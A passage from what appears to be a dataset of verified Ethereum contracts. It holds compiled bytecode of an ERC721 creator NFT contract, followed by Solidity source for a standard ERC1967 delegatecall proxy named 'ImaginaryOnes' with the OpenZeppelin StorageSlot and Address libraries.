b6119005760405162461bcd60e51b815260040161080490614d81565b610d3082826130fa565b6001600160a01b0382163314156119635760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610804565b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b336119e26000546001600160a01b031690565b6001600160a01b031614806119fd57506119fd600233612368565b611a195760405162461bcd60e51b815260040161080490614d81565b82518114611a395760405162461bcd60e51b815260040161080490614d09565b60005b8351811015610e3d57611aa7848281518110611a6857634e487b7160e01b600052603260045260246000fd5b6020026020010151848484818110611a9057634e487b7160e01b600052603260045260246000fd5b9050602002810190611aa29190614dfc565b6125a0565b80611ab181614f7c565b915050611a3c565b611ac4600b33612368565b611ae05760405162461bcd60e51b815260040161080490614c72565b801580611af95750611af933634ce6d51160e11b613114565b611b6b5760405162461bcd60e51b815260206004820152603f60248201527f457874656e73696f6e206d75737420696d706c656d656e74204945524337323160448201527f43726561746f72457874656e73696f6e417070726f76655472616e73666572006064820152608401610804565b3360009081526010602052604090205460ff161515811515146108165733600081815260106020908152604091829020805460ff191685151590811790915591519182527f072a7592283e2c2d1d56d21517ff6013325e0f55483f4828373ff4d98b0a1a36910160405180910390a250565b606060026001541415611c025760405162461bcd60e51b815260040161080490614dc5565b600260015533611c1a6000546001600160a01b031690565b6001600160a01b03161480611c355750611c35600233612368565b611c515760405162461bcd60e51b815260040161080490614d81565b8161ffff166001600160401b03811115611c7b57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611ca4578160200160208202803683370190505b50905060005b8261ffff168161ffff161015611d1457611cd384604051806020016040528060008152506130b7565b828261ffff1681518110611cf757634e487b7160e01b600052603260045260246000fd5b602090810291909101015280611d0c81614f5a565b915050611caa565b506001805592915050565b33611d326000546001600160a01b031690565b6001600160a01b03161480611d4d5750611d4d600233612368565b611d695760405162461bcd60e51b815260040161080490614d81565b610ba08585858585612c49565b611d8033836127d4565b611d9c5760405162461bcd60e51b815260040161080490614d30565b610e3d84848484613130565b6060611db382612489565b611dcf5760405162461bcd60e51b815260040161080490614ca9565b611dd882613163565b805480602002602001604051908101604052809291908181526020018280548015610ac357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611e0e5750505050509050919050565b606080611e4383612489565b611e5f5760405162461bcd60e51b815260040161080490614ca9565b611e68836131ef565b815460408051602080840282018101909252828152918491830182828015611eb957602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611e9b575b5050505050915080805480602002602001604051908101604052809291908181526020018280548015611f0b57602002820191906000526020600020905b815481526020019060010190808311611ef7575b5050505050905091509150915091565b6000806060611f2987612489565b611f455760405162461bcd60e51b815260040161080490614ca9565b611f4f878761320d565b9250925092509450945094915050565b6060611f6a82612489565b611f865760405162461bcd60e51b815260040161080490614ca9565b6107b482613314565b33611fa26000546001600160a01b031690565b6001600160a01b03161480611fbd5750611fbd600233612368565b611fd95760405162461bcd60e51b815260040161080490614d81565b6108168161359d565b6060600260015414156120075760405162461bcd60e51b815260040161080490614dc5565b6002600155612017600b33612368565b6120335760405162461bcd60e51b815260040161080490614c72565b8161ffff166001600160401b0381111561205d57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015612086578160200160208202803683370190505b50905060005b8261ffff168161ffff161015611d14576120b58460405180602001604052806000815250612a49565b828261ffff16815181106120d957634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806120ee81614f5a565b91505061208c565b612101600b33612368565b61211d5760405162461bcd60e51b815260040161080490614c72565b610a44838383612fe2565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b336121696000546001600160a01b031690565b6001600160a01b031614806121845750612184600233612368565b6121a05760405162461bcd60e51b815260040161080490614d81565b610d3082826135ee565b6000546001600160a01b031633146121d45760405162461bcd60e51b815260040161080490614cd4565b6001600160a01b0381166122395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610804565b61081681613067565b6000600260015414156122675760405162461bcd60e51b815260040161080490614dc5565b6002600155612277600b33612368565b6122935760405162461bcd60e51b815260040161080490614c72565b6116258484848080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250612a4992505050565b60006001600160e01b03198216639088c20760e01b14806107b457506107b482613723565b60006001600160e01b031982166380ac58cd60e01b14806107a557506001600160e01b03198216635b5e139f60e01b14806107b457506107b4825b60006001600160e01b03198216632a9f3abf60e11b14806107b457506301ffc9a760e01b6001600160e01b03198316146107b4565b6001600160a01b038116600090815260018301602052604081205415155b9392505050565b6001600160a01b0381163014156123e65760405162461bcd60e51b815260206004820152601960248201527f43616e6e6f7420626c61636b6c69737420796f757273656c66000000000000006044820152606401610804565b6123f1600b82612368565b156124395760405133906001600160a01b038316907fd19cf84cf0fec6bec9ddfa29c63adf83a55707c712f32c8285d6180a7890147990600090a3612437600b82612ac3565b505b612444600d82612368565b6108165760405133906001600160a01b038316907f05ac7bc5a606cd92a63365f9fda244499b9add0526b22d99937b6bd88181059c90600090a3610d30600d82613052565b6000908152600660205260409020546001600160a01b0316151590565b600081815260086020526040902080546001600160a01b0319166001600160a01b03841690811790915581906124db82611305565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152601960205260408120541561253a5750600090815260196020526040902090565b6000828152601160209081526040808320546001600160a01b0316835260179091529020541561258c57506000908152601160209081526040808320546001600160a01b031683526017909152902090565b505030600090815260176020526040902090565b6000838152601160205260409020546001600160a01b031630146125f65760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b2103a37b5b2b760991b6044820152606401610804565b6000838152601560205260409020610e3d908383613ff0565b82811461262e5760405162461bcd60e51b815260040161080490614d09565b6000805b828110156126805783838281811061265a57634e487b7160e01b600052603260045260246000fd5b905060200201358261266c9190614e97565b91508061267881614f7c565b915050612632565b5061271081106126cc5760405162461bcd60e51b8152602060048201526017602482015276496e76616c696420746f74616c20726f79616c7469657360481b6044820152606401610804565b60008681526018602052604090206126e5908686614070565b5060008681526019602052604090206126ff9084846140c3565b50857fabb46fe0761d77584bde75697647804ffd8113abd4d8d06bc664150395eccdee868686866040516127369493929190614b14565b60405180910390a2505050505050565b6000818152601160205260409020546001600160a01b0316308114156127a75760405162461bcd60e51b815260206004820152601660248201527527379032bc3a32b739b4b7b7103337b9103a37b5b2b760511b6044820152606401610804565b6127b2600d82612368565b156127cf5760405162461bcd60e51b815260040161080490614c43565b919050565b60006127df82612489565b6128405760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610804565b600061284b83611305565b9050806001600160a01b0316846001600160a01b031614806128865750836001600160a01b031661287b846108ab565b6001600160a01b0316145b8061289657506128968185612128565b949350505050565b826001600160a01b03166128b182611305565b6001600160a01b0316146129195760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610804565b6001600160a01b03821661297b5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610804565b6129868383836137b9565b6129916000826124a6565b6001600160a01b03831660009081526007602052604081208054600192906129ba908490614ee2565b90915550506001600160a01b03821660009081526007602052604081208054600192906129e8908490614e97565b909155505060008181526006602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a805460009182612a5a83614f7c565b9190505550600a549050612a6e83826137c4565b600081815260116020526040902080546001600160a01b03191633179055612a968382613858565b815115612abe5760008181526015602090815260409091208351612abc928501906140fd565b505b6107b4565b6000612386836001600160a01b038416613872565b3060009081526012602090815260409091208251610d30928401906140fd565b6001600160a01b038416301415612b445760405162461bcd60e51b815260206004820152601060248201526f10dc99585d1bdc8e88125b9d985b1a5960821b6044820152606401610804565b6001600160a01b0384163b612ba95760405162461bcd60e51b815260206004820152602560248201527f43726561746f723a20457874656e73696f6e206d757374206265206120636f6e6044820152641d1c9858dd60da1b6064820152608401610804565b612bb4600b85612368565b610e3d576001600160a01b0384166000908152601260205260409020612bdb908484613ff0565b506001600160a01b038416600081815260136020526040808220805460ff1916851515179055513392917fd8cb8ba4086944eabf43c5535b7712015e4d4c714b24bf812c040ea5b7a3e42a91a3610ba0600b85613052565b60006107b4825490565b6000612386838361398f565b828114612c685760405162461bcd60e51b815260040161080490614d09565b6000805b82811015612cba57838382818110612c9457634e487b7160e01b600052603260045260246000fd5b9050602002013582612ca69190614e97565b915080612cb281614f7c565b915050612c6c565b506127108110612d065760405162461bcd60e51b8152602060048201526017602482015276496e76616c696420746f74616c20726f79616c7469657360481b6044820152606401610804565b6001600160a01b0386166000908152601660205260409020612d29908686614070565b506001600160a01b0386166000908152601760205260409020612d4d9084846140c3565b506001600160a01b038616301415612da1577f2b6849d5976d799a5b0ca4dfd6b40a3d7afe9ea72c091fa01a958594f9a2659b85858585604051612d949493929190614b14565b60405180910390a1612de0565b856001600160a01b03167f535a93d2cb000582c0ebeaa9be4890ec6a287f98eb2df00c54c300612fd78d8f868686866040516127369493929190614b14565b505050505050565b336000908152601260205260409020612e02908484613ff0565b50336000908152601360205260409020805460ff19169115159190911790555050565b6000612e3082611305565b9050612e3e816000846137b9565b612e496000836124a6565b6001600160a01b0381166000908152600760205260408120805460019290612e72908490614ee2565b909155505060008281526006602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6000818152601160205260409020546001600160a01b03163014612f8c57600081815260116020526040902054612f13906001600160a01b03166311686e4b60e21b613114565b15612f8c57600081815260116020526040908190205490516311686e4b60e21b81526001600160a01b03848116600483015260248201849052909116906345a1b92c90604401600060405180830381600087803b158015612f7357600080fd5b505af1158015612f87573d6000803e3d6000fd5b505050505b60008181526015602052604090208054612fa590614f25565b159050612fc3576000818152601560205260408120612fc391614171565b600090815260116020526040902080546001600160a01b031916905550565b6000838152601160205260409020546001600160a01b031633146125f65760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b2103a37b5b2b760991b6044820152606401610804565b336000908152601460205260409020610a44908383613ff0565b6000612386836001600160a01b0384166139c7565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600a8054600091826130c883614f7c565b9091555050600a54600081815260116020526040902080546001600160a01b031916301790559050612a968382613858565b306000908152601460205260409020610a44908383613ff0565b600061311f83613a16565b801561238657506123868383613a49565b61313b84848461289e565b61314784848484613b32565b610e3d5760405162461bcd60e51b815260040161080490614bf1565b600081815260186020526040812054156131895750600090815260186020526040902090565b6000828152601160209081526040808320546001600160a01b031683526016909152902054156131db57506000908152601160209081526040808320546001600160a01b031683526016909152902090565b505030600090815260166020526040902090565b6000806131fb83613163565b61320484612514565b91509150915091565b6000806060600061321d86613163565b8054909150600110156132725760405162461bcd60e51b815260206004820152601c60248201527f4d6f7265207468616e203120726f79616c7479207265636569766572000000006044820152606401610804565b805461328557306000935093505061330d565b806000815481106132a657634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316612710866132c889612514565b6000815481106132e857634e487b7160e01b600052603260045260246000fd5b90600052602060002001546132fd9190614ec3565b6133079190614eaf565b93509350505b9250925092565b6000818152601160205260409020546060906001600160a01b031661333a600d82612368565b156133575760405162461bcd60e51b815260040161080490614c43565b6000838152601560205260409020805461337090614f25565b15905061348a576001600160a01b0381166000908152601460205260409020805461339a90614f25565b1590506133eb576001600160a01b0381166000908152601460209081526040808320868452601583529281902090516133d4939201614a58565b604051602081830303815290604052915050919050565b6000838152601560205260409020805461340490614f25565b80601f016020809104026020016040519081016040528092919081815260200182805461343090614f25565b801561347d5780601f106134525761010080835404028352916020019161347d565b820191906000526020600020905b81548152906001019060200180831161346057829003601f168201915b5050505050915050919050565b61349b8163e9dc637560e01b613114565b156135225760405163e9dc637560e01b8152306004820152602481018490526001600160a01b0382169063e9dc63759060440160006040518083038186803b1580156134e657600080fd5b505afa1580156134fa573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261238691908101906147af565b6001600160a01b03811660009081526013602052604090205460ff16613574576001600160a01b038116600090815260126020526040902061356384613c3f565b6040516020016133d4929190614a33565b6001600160a01b0381166000908152601260205260409020805461340490614f25565b50919050565b6135a8600b82612368565b156108165760405133906001600160a01b038316907fd19cf84cf0fec6bec9ddfa29c63adf83a55707c712f32c8285d6180a7890147990600090a3610d30600b82612ac3565b6135f9600b83612368565b6136455760405162461bcd60e51b815260206004820152601e60248201527f43726561746f72436f72653a20496e76616c696420657874656e73696f6e00006044820152606401610804565b6001600160a01b0381161580613667575061366781631e05385b60e31b613114565b6136a55760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b6044820152606401610804565b6001600160a01b038281166000908152600f6020526040902054811690821614610d30576001600160a01b038281166000818152600f602052604080822080546001600160a01b031916948616948517905551339392917f6a835c4fcf7e0d398db3762332fdaa1471814ad39f1e2d6d0b3fdabf8efee3e091a45050565b60006001600160e01b031982166361f8bcb360e11b14806137485750613748826122f8565b8061376357506001600160e01b03198216635d9dd7eb60e11b145b8061377e57506001600160e01b03198216632dde656160e21b145b8061379957506001600160e01b031982166335681b5360e21b145b806107b457506001600160e01b03198216636057361d60e01b1492915050565b610a44838383613d58565b336000908152600f60205260409020546001600160a01b031615610d3057336000818152600f602052604090819020549051631e05385b60e31b815260048101929092526001600160a01b03848116602484015260448301849052169063f029c2d890606401600060405180830381600087803b15801561384457600080fd5b505af1158015612de0573d6000803e3d6000fd5b610d30828260405180602001604052806000815250613e7e565b60008181526001830160205260408120548015613985576000613896600183614ee2565b85549091506000906138aa90600190614ee2565b905081811461392b5760008660000182815481106138d857634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508087600001848154811061390957634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600188019052604090208390555b855486908061394a57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506107b4565b60009150506107b4565b60008260000182815481106139b457634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b6000818152600183016020526040812054613a0e575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556107b4565b5060006107b4565b6000613a29826301ffc9a760e01b613a49565b80156107b45750613a42826001600160e01b0319613a49565b1592915050565b604080516001600160e01b0319831660248083019190915282518083039091018152604490910182526020810180516001600160e01b03166301ffc9a760e01b179052905160009190829081906001600160a01b0387169061753090613ab0908690614a17565b6000604051808303818686fa925050503d8060008114613aec576040519150601f19603f3d011682016040523d82523d6000602084013e613af1565b606091505b5091509150602081511015613b0c57600093505050506107b4565b818015613b28575080806020019051810190613b2891906146c8565b9695505050505050565b60006001600160a01b0384163b15613c3457604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290613b76903390899088908890600401614a6d565b602060405180830381600087803b158015613b9057600080fd5b505af1925050508015613bc0575060408051601f3d908101601f19168201909252613bbd91810190614700565b60015b613c1a573d808015613bee576040519150601f19603f3d011682016040523d82523d6000602084013e613bf3565b606091505b508051613c125760405162461bcd60e51b815260040161080490614bf1565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612896565b506001949350505050565b606081613c635750506040805180820190915260018152600360fc1b602082015290565b8160005b8115613c8d5780613c7781614f7c565b9150613c869050600a83614eaf565b9150613c67565b6000816001600160401b03811115613cb557634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015613cdf576020820181803683370190505b5090505b841561289657613cf4600183614ee2565b9150613d01600a86614f97565b613d0c906030614e97565b60f81b818381518110613d2f57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350613d51600a86614eaf565b9450613ce3565b6000818152601160209081526040808320546001600160a01b03168352601090915290205460ff1615610a445760008181526011602052604090819020549051638258080560e01b81526001600160a01b03858116600483015284811660248301526044820184905290911690638258080590606401602060405180830381600087803b158015613de857600080fd5b505af1158015613dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e2091906146c8565b610a445760405162461bcd60e51b815260206004820152602960248201527f45524337323143726561746f723a20457874656e73696f6e20617070726f76616044820152686c206661696c75726560b81b6064820152608401610804565b613e888383613eb1565b613e956000848484613b32565b610a445760405162461bcd60e51b815260040161080490614bf1565b6001600160a01b038216613f075760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610804565b613f1081612489565b15613f5d5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610804565b613f69600083836137b9565b6001600160a01b0382166000908152600760205260408120805460019290613f92908490614e97565b909155505060008181526006602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054613ffc90614f25565b90600052602060002090601f01602090048101928261401e5760008555614064565b82601f106140375782800160ff19823516178555614064565b82800160010185558215614064579182015b82811115614064578235825591602001919060010190614049565b50610f099291506141a7565b828054828255906000526020600020908101928215614064579160200282015b828111156140645781546001600160a01b0319166001600160a01b03843516178255602090920191600190910190614090565b8280548282559060005260206000209081019282156140645791602002820182811115614064578235825591602001919060010190614049565b82805461410990614f25565b90600052602060002090601f01602090048101928261412b5760008555614064565b82601f1061414457805160ff1916838001178555614064565b82800160010185558215614064579182015b82811115614064578251825591602001919060010190614156565b50805461417d90614f25565b6000825580601f1061418d575050565b601f01602090049060005260206000209081019061081691905b5b80821115610f0957600081556001016141a8565b60008083601f8401126141cd578182fd5b5081356001600160401b038111156141e3578182fd5b6020830191508360208260051b85010111156141fe57600080fd5b9250929050565b60008083601f840112614216578182fd5b5081356001600160401b0381111561422c578182fd5b6020830191508360208285010111156141fe57600080fd5b600060208284031215614255578081fd5b813561238681614fed565b60008060408385031215614272578081fd5b823561427d81614fed565b9150602083013561428d81614fed565b809150509250929050565b6000806000606084860312156142ac578081fd5b83356142b781614fed565b925060208401356142c781614fed565b929592945050506040919091013590565b600080600080608085870312156142ed578081fd5b84356142f881614fed565b9350602085013561430881614fed565b92506040850135915060608501356001600160401b03811115614329578182fd5b8501601f81018713614339578182fd5b803561434c61434782614e70565b614e40565b818152886020838501011115614360578384fd5b81602084016020830137908101602001929092525092959194509250565b600080600080600060608688031215614395578081fd5b85356143a081614fed565b945060208601356001600160401b03808211156143bb578283fd5b6143c789838a016141bc565b909650945060408801359150808211156143df578283fd5b506143ec888289016141bc565b969995985093965092949392505050565b600080600060408486031215614411578081fd5b833561441c81614fed565b925060208401356001600160401b03811115614436578182fd5b614442868287016141bc565b9497909650939450505050565b60008060408385031215614461578182fd5b823561446c81614fed565b9150602083013561428d81615002565b600080600060408486031215614490578081fd5b833561449b81614fed565b925060208401356001600160401b038111156144b5578182fd5b61444286828701614205565b600080600080606085870312156144d6578182fd5b84356144e181614fed565b935060208501356001600160401b038111156144fb578283fd5b61450787828801614205565b909450925050604085013561451b81615002565b939692955090935050565b60008060408385031215614538578182fd5b823561454381614fed565b9150602083013561ffff8116811461428d578182fd5b6000806040838503121561456b578182fd5b823561457681614fed565b946020939093013593505050565b60008060008060408587031215614599578182fd5b84356001600160401b03808211156145af578384fd5b6145bb888389016141bc565b909650945060208701359150808211156145d3578384fd5b506145e0878288016141bc565b95989497509550505050565b600080600060408486031215614600578081fd5b83356001600160401b0380821115614616578283fd5b818601915086601f830112614629578283fd5b813560208282111561463d5761463d614fd7565b8160051b61464c828201614e40565b8381528281019086840183880185018d1015614666578889fd5b8897505b8588101561468857803583526001979097019691840191840161466a565b50985050508701359250508082111561469f578283fd5b50614442868287016141bc565b6000602082840312156146bd578081fd5b813561238681615002565b6000602082840312156146d9578081fd5b815161238681615002565b6000602082840312156146f5578081fd5b813561238681615010565b600060208284031215614711578081fd5b815161238681615010565b6000806020838503121561472e578182fd5b82356001600160401b03811115614743578283fd5b61474f85828601614205565b90969095509350505050565b60008060006040848603121561476f578081fd5b83356001600160401b03811115614784578182fd5b61479086828701614205565b90945092505060208401356147a481615002565b809150509250925092565b6000602082840312156147c0578081fd5b81516001600160401b038111156147d5578182fd5b8201601f810184136147e5578182fd5b80516147f361434782614e70565b818152856020838501011115614807578384fd5b614818826020830160208601614ef9565b95945050505050565b600060208284031215614832578081fd5b5035919050565b600080600080600060608688031215614850578283fd5b8535945060208601356001600160401b03808211156143bb578485fd5b600080600060408486031215614881578081fd5b8335925060208401356001600160401b038111156144b5578182fd5b600080600080606085870312156148b2578182fd5b843593506020850135925060408501356001600160401b038111156148d5578283fd5b6145e087828801614205565b6000815180845260208085019450808401835b838110156149195781516001600160a01b0316875295820195908201906001016148f4565b509495945050505050565b6000815180845260208085019450808401835b8381101561491957815187529582019590820190600101614937565b6000815180845261496b816020860160208601614ef9565b601f01601f19169290920160200192915050565b8054600090600181811c908083168061499957607f831692505b60208084108214156149b957634e487b7160e01b86526022600452602486fd5b8180156149cd57600181146149de57614a0b565b60ff19861689528489019650614a0b565b60008881526020902060005b86811015614a035781548b8201529085019083016149ea565b505084890196505b50505050505092915050565b60008251614a29818460208701614ef9565b9190910192915050565b6000614a3f828561497f565b8351614a4f818360208801614ef9565b01949350505050565b6000612896614a67838661497f565b8461497f565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613b2890830184614953565b60018060a01b03841681528260208201526060604082015260006148186060830184614953565b6020808252825182820181905260009190848201906040850190845b81811015614b085783516001600160a01b031683529284019291840191600101614ae3565b50909695505050505050565b6040808252810184905260008560608301825b87811015614b57578235614b3a81614fed565b6001600160a01b0316825260209283019290910190600101614b27565b5083810360208501528481526001600160fb1b03851115614b76578283fd5b8460051b9150818660208301370160200190815295945050505050565b60208152600061238660208301846148e1565b604081526000614bb960408301856148e1565b82810360208401526148188185614924565b6020815260006123866020830184614924565b6020815260006123866020830184614953565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b602080825260159082015274115e1d195b9cda5bdb88189b1858dadb1a5cdd1959605a1b604082015260600190565b6020808252601c908201527f4d757374206265207265676973746572656420657874656e73696f6e00000000604082015260600190565b6020808252601190820152702737b732bc34b9ba32b73a103a37b5b2b760791b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c125b9d985b1a59081a5b9c1d5d609a1b604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60208082526024908201527f41646d696e436f6e74726f6c3a204d757374206265206f776e6572206f7220616040820152633236b4b760e11b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6000808335601e19843603018112614e12578283fd5b8301803591506001600160401b03821115614e2b578283fd5b6020019150368190038213156141fe57600080fd5b604051601f8201601f191681016001600160401b0381118282101715614e6857614e68614fd7565b604052919050565b60006001600160401b03821115614e8957614e89614fd7565b50601f01601f191660200190565b60008219821115614eaa57614eaa614fab565b500190565b600082614ebe57614ebe614fc1565b500490565b6000816000190483118215151615614edd57614edd614fab565b500290565b600082821015614ef457614ef4614fab565b500390565b60005b83811015614f14578181015183820152602001614efc565b83811115610e3d5750506000910152565b600181811c90821680614f3957607f821691505b6020821081141561359757634e487b7160e01b600052602260045260246000fd5b600061ffff80831681811415614f7257614f72614fab565b6001019392505050565b6000600019821415614f9057614f90614fab565b5060010190565b600082614fa657614fa6614fc1565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461081657600080fd5b801515811461081657600080fd5b6001600160e01b03198116811461081657600080fdfea2646970667358221220abc17815d27664afdb25068c4f592189dd749bcfb6717e3b9e9c3e4a301cbab564736f6c63430008040033 | [
7,
5
] |
0xf33cdcf907dc77b0cc1d975658435fefbc56508d | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ImaginaryOnes{
//ImaginaryOnes
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
(address _as) = abi.decode(_a, (address));
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
require(Address.isContract(_as), "address error");
StorageSlot.getAddressSlot(KEY).value = _as;
if (_data.length > 0) {
Address.functionDelegateCall(_as, _data);
}
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
